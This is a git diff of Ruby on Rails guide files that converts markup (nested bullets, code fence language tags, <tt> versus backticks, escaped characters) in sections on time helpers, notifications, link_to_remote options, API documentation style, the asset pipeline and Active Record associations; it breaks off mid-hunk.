||||
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
|
||||
now.all_week
|
||||
# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00
|
||||
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
|
||||
now.all_month
|
||||
# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00
|
||||
# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
|
||||
now.all_quarter
|
||||
# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00
|
||||
# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
|
||||
now.all_year
|
||||
# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00
|
||||
# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
|
||||
```
|
||||
|
||||
### Time Constructors
|
||||
|
|
|
@ -412,11 +412,11 @@ listen to any notification.
|
|||
|
||||
The block receives the following arguments:
|
||||
|
||||
# The name of the event
|
||||
# Time when it started
|
||||
# Time when it finished
|
||||
# An unique ID for this event
|
||||
# The payload (described in previous sections)
|
||||
* The name of the event
|
||||
* Time when it started
|
||||
* Time when it finished
|
||||
* An unique ID for this event
|
||||
* The payload (described in previous sections)
|
||||
|
||||
```ruby
|
||||
ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
|
||||
|
|
|
@ -182,8 +182,8 @@ link_to_remote "Add to cart",
|
|||
|
||||
* The very first parameter, a string, is the text of the link which appears on the page.
|
||||
* The second parameter, the `options` hash is the most interesting part as it has the AJAX specific stuff:
|
||||
** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty `options` hash to `link_to_remote` - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the `url_for` format too.
|
||||
** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation:
|
||||
* **:url** This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty `options` hash to `link_to_remote` - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the `url_for` format too.
|
||||
* **:update** Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation:
|
||||
|
||||
```ruby
|
||||
link_to_remote "Add to cart",
|
||||
|
@ -193,13 +193,13 @@ link_to_remote "Add to cart",
|
|||
|
||||
If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id `error` is updated rather than the `cart` element.
|
||||
|
||||
** *position* By default (i.e. when not specifying this option, like in the examples before) the response is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the `position` parameter, with four possibilities:
|
||||
*** `:before` Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element.
|
||||
*** `:after` Similar behavior to `:before`, but in this case the response is inserted after the target element.
|
||||
*** `:top` Inserts the text into the target element, before its original content. If the target element was empty, this is equivalent with not specifying `:position` at all.
|
||||
*** `:bottom` The counterpart of `:top`: the response is inserted after the target element's original content.
|
||||
* **position** By default (i.e. when not specifying this option, like in the examples before) the response is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the `position` parameter, with four possibilities:
|
||||
* `:before` Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element.
|
||||
* `:after` Similar behavior to `:before`, but in this case the response is inserted after the target element.
|
||||
* `:top` Inserts the text into the target element, before its original content. If the target element was empty, this is equivalent with not specifying `:position` at all.
|
||||
* `:bottom` The counterpart of `:top`: the response is inserted after the target element's original content.
|
||||
|
||||
A typical example of using `:bottom` is inserting a new <li> element into an existing list:
|
||||
A typical example of using `:bottom` is inserting a new \<li> element into an existing list:
|
||||
|
||||
```ruby
|
||||
link_to_remote "Add new item",
|
||||
|
@ -208,7 +208,7 @@ link_to_remote "Add new item",
|
|||
:position => :bottom
|
||||
```
|
||||
|
||||
** *:method* Most typically you want to use a POST request when adding a remote
|
||||
* **:method** Most typically you want to use a POST request when adding a remote
|
||||
link to your view so this is the default behavior. However, sometimes you'll want to update (PATCH/PUT) or delete/destroy (DELETE) something and you can specify this with the `:method` option. Let's see an example for a typical AJAX link for deleting an item from a list:
|
||||
|
||||
```ruby
|
||||
|
@ -219,36 +219,38 @@ link_to_remote "Delete the item",
|
|||
|
||||
Note that if we wouldn't override the default behavior (POST), the above snippet would route to the create action rather than destroy.
|
||||
|
||||
** *JavaScript filters* You can customize the remote call further by wrapping it with some JavaScript code. Let's say in the previous example, when deleting a link, you'd like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options - let's see them one by one:
|
||||
*** `:condition` => `code` Evaluates `code` (which should evaluate to a boolean) and proceeds if it's true, cancels the request otherwise.
|
||||
*** `:before` => `code` Evaluates the `code` just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example).
|
||||
*** `:after` => `code` Evaluates the `code` after launching the request. Note that this is different from the `:success` or `:complete` callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to `:after` is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed.
|
||||
*** `:submit` => `dom_id` This option does not make sense for `link_to_remote`, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id `dom_id`.
|
||||
*** `:with` > `code` The JavaScript code snippet in `code` is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, `code` should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example:
|
||||
* **JavaScript filters** You can customize the remote call further by wrapping it with some JavaScript code. Let's say in the previous example, when deleting a link, you'd like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options - let's see them one by one:
|
||||
* `:condition` => `code` Evaluates `code` (which should evaluate to a boolean) and proceeds if it's true, cancels the request otherwise.
|
||||
* `:before` => `code` Evaluates the `code` just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example).
|
||||
* `:after` => `code` Evaluates the `code` after launching the request. Note that this is different from the `:success` or `:complete` callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to `:after` is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed.
|
||||
* `:submit` => `dom_id` This option does not make sense for `link_to_remote`, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id `dom_id`.
|
||||
* `:with` > `code` The JavaScript code snippet in `code` is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, `code` should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example:
|
||||
|
||||
```ruby
|
||||
link_to_remote "Update record",
|
||||
:url => record_url(record),
|
||||
:method => :patch,
|
||||
:with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')"
|
||||
:with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')"
|
||||
```
|
||||
|
||||
This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
|
||||
|
||||
** *Callbacks* Since an AJAX call is typically asynchronous, as its name suggests (this is not a rule, and you can fire a synchronous request - see the last option, `:type`) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant):
|
||||
*** `:loading:` => `code` The request is in the process of receiving the data, but the transfer is not completed yet.
|
||||
*** `:loaded:` => `code` The transfer is completed, but the data is not processed and returned yet
|
||||
*** `:interactive:` => `code` One step after `:loaded`: The data is fully received and being processed
|
||||
*** `:success:` => `code` The data is fully received, parsed and the server responded with "200 OK"
|
||||
*** `:failure:` => `code` The data is fully received, parsed and the server responded with *anything* but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509)
|
||||
*** `:complete:` => `code` The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything).
|
||||
*** Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number:
|
||||
* **Callbacks** Since an AJAX call is typically asynchronous, as its name suggests (this is not a rule, and you can fire a synchronous request - see the last option, `:type`) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant):
|
||||
* `:loading:` => `code` The request is in the process of receiving the data, but the transfer is not completed yet.
|
||||
* `:loaded:` => `code` The transfer is completed, but the data is not processed and returned yet
|
||||
* `:interactive:` => `code` One step after `:loaded`: The data is fully received and being processed
|
||||
* `:success:` => `code` The data is fully received, parsed and the server responded with "200 OK"
|
||||
* `:failure:` => `code` The data is fully received, parsed and the server responded with *anything* but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509)
|
||||
* `:complete:` => `code` The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything).
|
||||
* Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number:
|
||||
|
||||
```ruby
|
||||
link_to_remote "Add new item",
|
||||
:url => items_url,
|
||||
:update => "item_list",
|
||||
404 => "alert('Item not found!')"
|
||||
```
|
||||
|
||||
Let's see a typical example for the most frequent callbacks, `:success`, `:failure` and `:complete` in action:
|
||||
|
||||
```ruby
|
||||
|
@ -261,10 +263,11 @@ link_to_remote "Add new item",
|
|||
:failure => "display_error(request)"
|
||||
```
|
||||
|
||||
** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the `:type` option with the value of `:synchronous`.
|
||||
* **:type** If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the `:type` option with the value of `:synchronous`.
|
||||
|
||||
* Finally, using the `html_options` parameter you can add HTML attributes to the generated tag. It works like the same parameter of the `link_to` helper. There are interesting side effects for the `href` and `onclick` parameters though:
|
||||
** If you specify the `href` parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
|
||||
** `link_to_remote` gains its AJAX behavior by specifying the remote call in the onclick handler of the link. If you supply `html_options[:onclick]` you override the default behavior, so use this with care!
|
||||
* If you specify the `href` parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
|
||||
* `link_to_remote` gains its AJAX behavior by specifying the remote call in the onclick handler of the link. If you supply `html_options[:onclick]` you override the default behavior, so use this with care!
|
||||
|
||||
We are finished with `link_to_remote`. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections.
|
||||
|
||||
|
|
|
@ -117,6 +117,7 @@ Fonts
|
|||
### Fixed-width Font
|
||||
|
||||
Use fixed-width fonts for:
|
||||
|
||||
* Constants, in particular class and module names.
|
||||
* Method names.
|
||||
* Literals like `nil`, `false`, `true`, `self`.
|
||||
|
@ -126,15 +127,15 @@ Use fixed-width fonts for:
|
|||
|
||||
```ruby
|
||||
class Array
|
||||
# Calls `to_param` on all its elements and joins the result with
|
||||
# slashes. This is used by `url_for` in Action Pack.
|
||||
# Calls +to_param+ on all its elements and joins the result with
|
||||
# slashes. This is used by +url_for+ in Action Pack.
|
||||
def to_param
|
||||
collect { |e| e.to_param }.join '/'
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
WARNING: Using a pair of `+...+` for fixed-width font only works with *words*; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc.
|
||||
WARNING: Using a pair of `+...+` for fixed-width font only works with *words*; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc.
|
||||
|
||||
### Regular Font
|
||||
|
||||
|
@ -144,11 +145,11 @@ When "true" and "false" are English words rather than Ruby keywords use a regula
|
|||
# Runs all the validations within the specified context. Returns true if no errors are found,
|
||||
# false otherwise.
|
||||
#
|
||||
# If the argument is false (default is `nil`), the context is set to `:create` if
|
||||
# `new_record?` is true, and to `:update` if it is not.
|
||||
# If the argument is false (default is +nil+), the context is set to <tt>:create</tt> if
|
||||
# <tt>new_record?</tt> is true, and to <tt>:update</tt> if it is not.
|
||||
#
|
||||
# Validations with no `:on` option will run no matter the context. Validations with
|
||||
# some `:on` option will only run in the specified context.
|
||||
# Validations with no <tt>:on</tt> option will run no matter the context. Validations with
|
||||
# some <tt>:on</tt> option will only run in the specified context.
|
||||
def valid?(context = nil)
|
||||
...
|
||||
end
|
||||
|
@ -160,7 +161,7 @@ Description Lists
|
|||
In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
|
||||
|
||||
```ruby
|
||||
# * `:allow_nil` - Skip validation if attribute is `nil`.
|
||||
# * <tt>:allow_nil</tt> - Skip validation if attribute is `nil`.
|
||||
```
|
||||
|
||||
The description starts in upper case and ends with a full stop—it's standard English.
|
||||
|
|
|
@ -29,7 +29,7 @@ config.assets.enabled = false
|
|||
|
||||
You can also disable the asset pipeline while creating a new application by passing the `--skip-sprockets` option.
|
||||
|
||||
```
|
||||
```bash
|
||||
rails new appname --skip-sprockets
|
||||
```
|
||||
|
||||
|
@ -70,20 +70,13 @@ Rails' old strategy was to append a date-based query string to every asset linke
|
|||
|
||||
The query string strategy has several disadvantages:
|
||||
|
||||
<ol>
|
||||
<li>
|
||||
<strong>Not all caches will reliably cache content where the filename only differs by query parameters</strong>.<br />
|
||||
1. **Not all caches will reliably cache content where the filename only differs by query parameters**<br />
|
||||
[Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
|
||||
</li>
|
||||
<li>
|
||||
<strong>The file name can change between nodes in multi-server environments.</strong><br />
|
||||
|
||||
2. **The file name can change between nodes in multi-server environments.**<br />
|
||||
The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request.
|
||||
</li>
|
||||
<li>
|
||||
<strong>Too much cache invalidation</strong><br />
|
||||
3. **Too much cache invalidation**<br />
|
||||
When static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
|
||||
</li>
|
||||
</ol>
|
||||
|
||||
Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content.
|
||||
|
||||
|
@ -114,11 +107,11 @@ NOTE: You must have an [ExecJS](https://github.com/sstephenson/execjs#readme) su
|
|||
|
||||
Pipeline assets can be placed inside an application in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
|
||||
|
||||
`app/assets` is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.
|
||||
* `app/assets` is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.
|
||||
|
||||
`lib/assets` is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.
|
||||
* `lib/assets` is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.
|
||||
|
||||
`vendor/assets` is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks.
|
||||
* `vendor/assets` is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks.
|
||||
|
||||
#### Search paths
|
||||
|
||||
|
@ -137,7 +130,7 @@ vendor/assets/somepackage/phonebox.js
|
|||
|
||||
would be referenced in a manifest like this:
|
||||
|
||||
```
|
||||
```js
|
||||
//= require home
|
||||
//= require moovinator
|
||||
//= require slider
|
||||
|
@ -152,7 +145,7 @@ app/assets/javascripts/sub/something.js
|
|||
|
||||
is referenced as:
|
||||
|
||||
```
|
||||
```js
|
||||
//= require sub/something
|
||||
```
|
||||
|
||||
|
@ -176,7 +169,7 @@ For example, if you have a jQuery library with many modules, which is stored in
|
|||
|
||||
The library as a whole can be accessed in the site's application manifest like so:
|
||||
|
||||
```
|
||||
```js
|
||||
//= require library_name
|
||||
```
|
||||
|
||||
|
@ -215,7 +208,7 @@ WARNING: If you're precompiling your assets (see [In Production](#in-production)
|
|||
|
||||
The asset pipeline automatically evaluates ERB. This means that if you add an `erb` extension to a CSS asset (for example, `application.css.erb`), then helpers like `asset_path` are available in your CSS rules:
|
||||
|
||||
```
|
||||
```css
|
||||
.class { background-image: url(<%= asset_path 'image.png' %>) }
|
||||
```
|
||||
|
||||
|
@ -223,7 +216,7 @@ This writes the path to the particular asset being referenced. In this example,
|
|||
|
||||
If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) -- a method of embedding the image data directly into the CSS file -- you can use the `asset_data_uri` helper.
|
||||
|
||||
```
|
||||
```css
|
||||
#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
|
||||
```
|
||||
|
||||
|
@ -247,7 +240,7 @@ The more generic form can also be used but the asset path and class must both be
|
|||
|
||||
If you add an `erb` extension to a JavaScript asset, making it something such as `application.js.erb`, then you can use the `asset_path` helper in your JavaScript code:
|
||||
|
||||
```erb
|
||||
```js
|
||||
$('#logo').attr({
|
||||
src: "<%= asset_path('logo.png') %>"
|
||||
});
|
||||
|
@ -257,7 +250,7 @@ This writes the path to the particular asset being referenced.
|
|||
|
||||
Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` extension (e.g., `application.js.coffee.erb`):
|
||||
|
||||
```
|
||||
```js
|
||||
$('#logo').attr src: "<%= asset_path('logo.png') %>"
|
||||
```
|
||||
|
||||
|
@ -267,7 +260,7 @@ Sprockets uses manifest files to determine which assets to include and serve. Th
|
|||
|
||||
For example, a new Rails application includes a default `app/assets/javascripts/application.js` file which contains the following lines:
|
||||
|
||||
```
|
||||
```js
|
||||
// ...
|
||||
//= require jquery
|
||||
//= require jquery_ujs
|
||||
|
@ -284,7 +277,7 @@ Directives are processed top to bottom, but the order in which files are include
|
|||
|
||||
Rails also creates a default `app/assets/stylesheets/application.css` file which contains these lines:
|
||||
|
||||
```
|
||||
```js
|
||||
/* ...
|
||||
*= require_self
|
||||
*= require_tree .
|
||||
|
@ -301,7 +294,7 @@ You can have as many manifest files as you need. For example the `admin.css` and
|
|||
|
||||
The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way:
|
||||
|
||||
```
|
||||
```js
|
||||
/* ...
|
||||
*= require reset
|
||||
*= require layout
|
||||
|
@ -327,7 +320,7 @@ In development mode, assets are served as separate files in the order they are s
|
|||
|
||||
This manifest `app/assets/javascripts/application.js`:
|
||||
|
||||
```
|
||||
```js
|
||||
//= require core
|
||||
//= require projects
|
||||
//= require tickets
|
||||
|
@ -407,8 +400,8 @@ You can call this task on the server during deployment to create compiled versio
|
|||
|
||||
The rake task is:
|
||||
|
||||
```
|
||||
bundle exec rake assets:precompile
|
||||
```bash
|
||||
$ bundle exec rake assets:precompile
|
||||
```
|
||||
|
||||
For faster asset precompiles, you can partially load your application by setting
|
||||
|
@ -424,7 +417,7 @@ engines (or other gems) will not be loaded, which can cause missing assets.
|
|||
|
||||
Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to `Capfile`:
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
load 'deploy/assets'
|
||||
```
|
||||
|
||||
|
@ -444,7 +437,7 @@ NOTE. The matcher (and other members of the precompile array; see below) is appl
|
|||
|
||||
If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the `precompile` array:
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
|
||||
```
|
||||
|
||||
|
@ -452,7 +445,7 @@ NOTE. Always specify an expected compiled filename that ends with js or css, eve
|
|||
|
||||
The rake task also generates a `manifest.yml` that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:
|
||||
|
||||
```
|
||||
```yaml
|
||||
---
|
||||
rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png
|
||||
jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js
|
||||
|
@ -465,7 +458,7 @@ The default location for the manifest is the root of the location specified in `
|
|||
|
||||
This can be changed with the `config.assets.manifest` option. A fully specified path is required:
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
config.assets.manifest = '/path/to/some/other/location'
|
||||
```
|
||||
|
||||
|
@ -477,7 +470,7 @@ Precompiled assets exist on the filesystem and are served directly by your web s
|
|||
|
||||
For Apache:
|
||||
|
||||
```
|
||||
```apache
|
||||
# The Expires* directives requires the Apache module `mod_expires` to be enabled.
|
||||
<LocationMatch "^/assets/.*$">
|
||||
# Use of ETag is discouraged when Last-Modified is present
|
||||
|
@ -491,7 +484,7 @@ For Apache:
|
|||
|
||||
For nginx:
|
||||
|
||||
```
|
||||
```nginx
|
||||
location ~ ^/assets/ {
|
||||
expires 1y;
|
||||
add_header Cache-Control public;
|
||||
|
@ -507,7 +500,7 @@ When files are precompiled, Sprockets also creates a [gzipped](http://en.wikiped
|
|||
|
||||
Nginx is able to do this automatically enabling `gzip_static`:
|
||||
|
||||
```
|
||||
```nginx
|
||||
location ~ ^/(assets)/ {
|
||||
root /path/to/public;
|
||||
gzip_static on; # to serve pre-gzipped version
|
||||
|
@ -518,7 +511,7 @@ location ~ ^/(assets)/ {
|
|||
|
||||
This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even `nginx-light` have the module compiled. Otherwise, you may need to perform a manual compilation:
|
||||
|
||||
```
|
||||
```bash
|
||||
./configure --with-http_gzip_static_module
|
||||
```
|
||||
|
||||
|
@ -543,13 +536,13 @@ There are two caveats:
|
|||
|
||||
In `config/environments/development.rb`, place the following line:
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
config.assets.prefix = "/dev-assets"
|
||||
```
|
||||
|
||||
You will also need this in application.rb:
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
config.assets.initialize_on_precompile = false
|
||||
```
|
||||
|
||||
|
@ -567,7 +560,7 @@ In some circumstances you may wish to use live compilation. In this mode all req
|
|||
|
||||
To enable this option set:
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
config.assets.compile = true
|
||||
```
|
||||
|
||||
|
@ -579,7 +572,7 @@ This mode uses more memory, performs more poorly than the default and is not rec
|
|||
|
||||
If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
|
||||
|
||||
```
|
||||
```ruby
|
||||
group :production do
|
||||
gem 'therubyracer'
|
||||
end
|
||||
|
@ -594,7 +587,7 @@ There is currently one option for compressing CSS, YUI. The [YUI CSS compressor]
|
|||
|
||||
The following line enables YUI compression, and requires the `yui-compressor` gem.
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
config.assets.css_compressor = :yui
|
||||
```
|
||||
|
||||
|
@ -608,7 +601,7 @@ The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). Thi
|
|||
|
||||
The following line invokes `uglifier` for JavaScript compression.
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
config.assets.js_compressor = :uglifier
|
||||
```
|
||||
|
||||
|
@ -620,7 +613,7 @@ NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) su
|
|||
|
||||
The compressor config settings for CSS and JavaScript also take any object. This object must have a `compress` method that takes a string as the sole argument and it must return a string.
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
class Transformer
|
||||
def compress(string)
|
||||
do_something_returning_a_string(string)
|
||||
|
@ -630,7 +623,7 @@ end
|
|||
|
||||
To enable this, pass a `new` object to the config option in `application.rb`:
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
config.assets.css_compressor = Transformer.new
|
||||
```
|
||||
|
||||
|
@ -641,7 +634,7 @@ The public path that Sprockets uses by default is `/assets`.
|
|||
|
||||
This can be changed to something else:
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
config.assets.prefix = "/some_other_path"
|
||||
```
|
||||
|
||||
|
@ -653,7 +646,7 @@ The X-Sendfile header is a directive to the web server to ignore the response fr
|
|||
|
||||
Apache and nginx support this option, which can be enabled in `config/environments/production.rb`.
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
|
||||
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
|
||||
```
|
||||
|
@ -698,7 +691,7 @@ The third is updating the various environment files with the correct default opt
|
|||
|
||||
In `application.rb`:
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
# Enable the asset pipeline
|
||||
config.assets.enabled = true
|
||||
|
||||
|
@ -711,7 +704,7 @@ config.assets.version = '1.0'
|
|||
|
||||
In `development.rb`:
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
# Do not compress assets
|
||||
config.assets.compress = false
|
||||
|
||||
|
@ -721,7 +714,7 @@ config.assets.debug = true
|
|||
|
||||
And in `production.rb`:
|
||||
|
||||
```erb
|
||||
```ruby
|
||||
# Compress JavaScripts and CSS
|
||||
config.assets.compress = true
|
||||
|
||||
|
@ -746,7 +739,7 @@ You should not need to change `test.rb`. The defaults in the test environment ar
|
|||
|
||||
The following should also be added to `Gemfile`:
|
||||
|
||||
```
|
||||
```ruby
|
||||
# Gems used only for assets and not required
|
||||
# in production environments by default.
|
||||
group :assets do
|
||||
|
|
|
@ -423,7 +423,7 @@ If you create an association some time after you build the underlying model, you
|
|||
|
||||
If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
|
||||
|
||||
WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings).
|
||||
WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper\_boxes" and "papers" to generate a join table name of "papers\_paper\_boxes" because of the length of the name "paper\_boxes", but it in fact generates a join table name of "paper\_boxes\_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings).
|
||||
|
||||
Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
|
||||
|
||||
|
@ -574,12 +574,12 @@ The `belongs_to` association creates a one-to-one match with another model. In d
|
|||
|
||||
When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association:
|
||||
|
||||
* `<em>association</em>(force_reload = false)`
|
||||
* `<em>association</em>=(associate)`
|
||||
* `build_<em>association</em>(attributes = {})`
|
||||
* `create_<em>association</em>(attributes = {})`
|
||||
* `association(force_reload = false)`
|
||||
* `association=(associate)`
|
||||
* `build_association(attributes = {})`
|
||||
* `create_association(attributes = {})`
|
||||
|
||||
In all of these methods, `<em>association</em>` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration:
|
||||
In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration:
|
||||
|
||||
```ruby
|
||||
class Order < ActiveRecord::Base
|
||||
|
@ -598,9 +598,9 @@ create_customer
|
|||
|
||||
NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
|
||||
|
||||
##### `<em>association</em>(force_reload = false)`
|
||||
##### `association(force_reload = false)`
|
||||
|
||||
The `<em>association</em>` method returns the associated object, if any. If no associated object is found, it returns `nil`.
|
||||
The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
|
||||
|
||||
```ruby
|
||||
@customer = @order.customer
|
||||
|
@ -608,26 +608,26 @@ The `<em>association</em>` method returns the associated object, if any. If no a
|
|||
|
||||
If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument.
|
||||
|
||||
##### `_association_=(associate)`
|
||||
##### `association=(associate)`
|
||||
|
||||
The `<em>association</em>=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
|
||||
The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
|
||||
|
||||
```ruby
|
||||
@order.customer = @customer
|
||||
```
|
||||
|
||||
##### `build_<em>association</em>(attributes = {})`
|
||||
##### `build_association(attributes = {})`
|
||||
|
||||
